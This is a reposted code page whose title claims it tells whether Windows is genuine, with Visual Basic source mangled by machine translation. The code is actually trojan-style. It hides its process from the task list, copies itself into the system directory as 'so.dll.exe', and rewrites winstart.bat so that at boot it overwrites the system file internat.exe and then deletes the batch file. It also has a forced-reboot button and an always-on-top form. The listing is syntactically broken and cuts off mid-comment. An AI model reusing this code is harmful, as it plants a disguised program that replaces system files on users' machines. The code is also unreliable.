Judging that Windows is genuine or piracy

zhaozj2021-02-11  238

Option Explicit 'Process Control Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long Private Declare Function GetCurrentProcess Lib "kernel32" () As Long Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long const RSP_SIMPLE_SERVICE = 1 const RSP_UNREGISTER_SERVICE = 0 'exit Windows Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long const EWX_LOGOFF = 0 const EWX_SHUTDOWN = 1 const EWX_REBOOT = 2 const EWX_FORCE = 4 const WM_SYSCOMMAND = & H112 & Const SC_SCREENSAVE = & HF140 & 'form always on top Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long , ByVal wFlags As Long) As Long Const HWND_TOPMOST = -1 'connected Private Declare Function ShellExecute Lib "shell32.dll" Alias ​​"ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Const SW_SHOWNORMAL = 1 Const URL = "http://www.microsoft.com" 'Find system directory Private Declare Function GetWindowsDirectory Lib "kernel32" Alias ​​"GetWindowsDirectoryA "(ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib" kernel32 "Alias" GetSystemDirectoryA "(ByVal lpBuffer As String, ByVal nSize As Long) As Long Const MAX_PATH = 260 Dim exitButton As Boolean '

Acquisition windows directory Function GetWinPath () Dim strFolder As String Dim lngResult As Long strFolder = String (MAX_PATH, 0) lngResult = GetWindowsDirectory (strFolder, MAX_PATH) If lngResult <> 0 Then GetWinPath = Left (strFolder, InStr (strFolder, Chr (0 )) - 1) Else GetWinPath = "" End If End Function 'acquisition system directory Function GetSystemPath () Dim strFolder As String Dim lngResult As Long strFolder = String (MAX_PATH, 0) lngResult = GetSystemDirectory (strFolder, MAX_PATH) If lngResult <> 0 Then GetSystemPath = Left (strFolder, InStr (strFolder, Chr (0)) - 1) Else GetSystemPath = "" End if End Function 'file exists Function FileExists (filename As String) As Integer Dim i As Integer On Error Resume Next i = Len (Dir $ (filename)) If Err Or i = 0 Then FileExists = False Else FileExists = True End Function 'hidden processes Public Sub RemoveProgramFromList () Dim lngProcessID As Long Dim lngReturn As Long Dim pid As Long lngProcessID = GetC urrentProcessId () lngReturn = RegisterServiceProcess (pid, RSP_SIMPLE_SERVICE) End Sub 'open a browser Public Sub gotoweb () Dim Success As Long Success = ShellExecute (0 &, vbNullString, URL, vbNullString, "C: /", SW_SHOWNORMAL) End Sub' even the website Private Sub cmdBuy_Click () gotoweb End Sub 'restart Private Sub cmdReset_Click () Dim lresult lresult = ExitWindowsEx (EWX_REBOOT, 0 &) End Sub Private Sub Form_Load () On Error Resume Next Dim Path As String Dim SourceFile, DestinationFile Path = App .Path if Right (Path, 1) <> "/" THEN PATH = PATH & "/"

If App.PrevInstance Then End If FileExists (GetSystemPath & "/intarnet.dll.exe") = 0 Then 'backup files internat.exe SourceFile = GetSystemPath & "/internat.exe" DestinationFile = GetSystemPath & "/intarnet.dll.exe "FileCopy SourceFile, DestinationFile 'copy itself SourceFile = Path & App.EXEName &" .EXE "DestinationFile = GetSystemPath &" /so.dll.exe "FileCopy SourceFile, DestinationFile' rewrite winstart.bat file Open GetWinPath &" /winstart.bat "For append as # 1 print # 1," @echo off "Print # 1," Copy "& getSystemPath &" /SO.dll.exe "& getSystemPath &" /internat.exe / y> NUL "Print # 1, "DEL" & getwinpath & "/winstart.bat" Close # 1 Endiff "Check if the file is executed in the system directory if the program code is incomplete or the system is errors, the file has been destroyed.

转载请注明原文地址:https://www.9cbs.com/read-4796.html

New Post(0)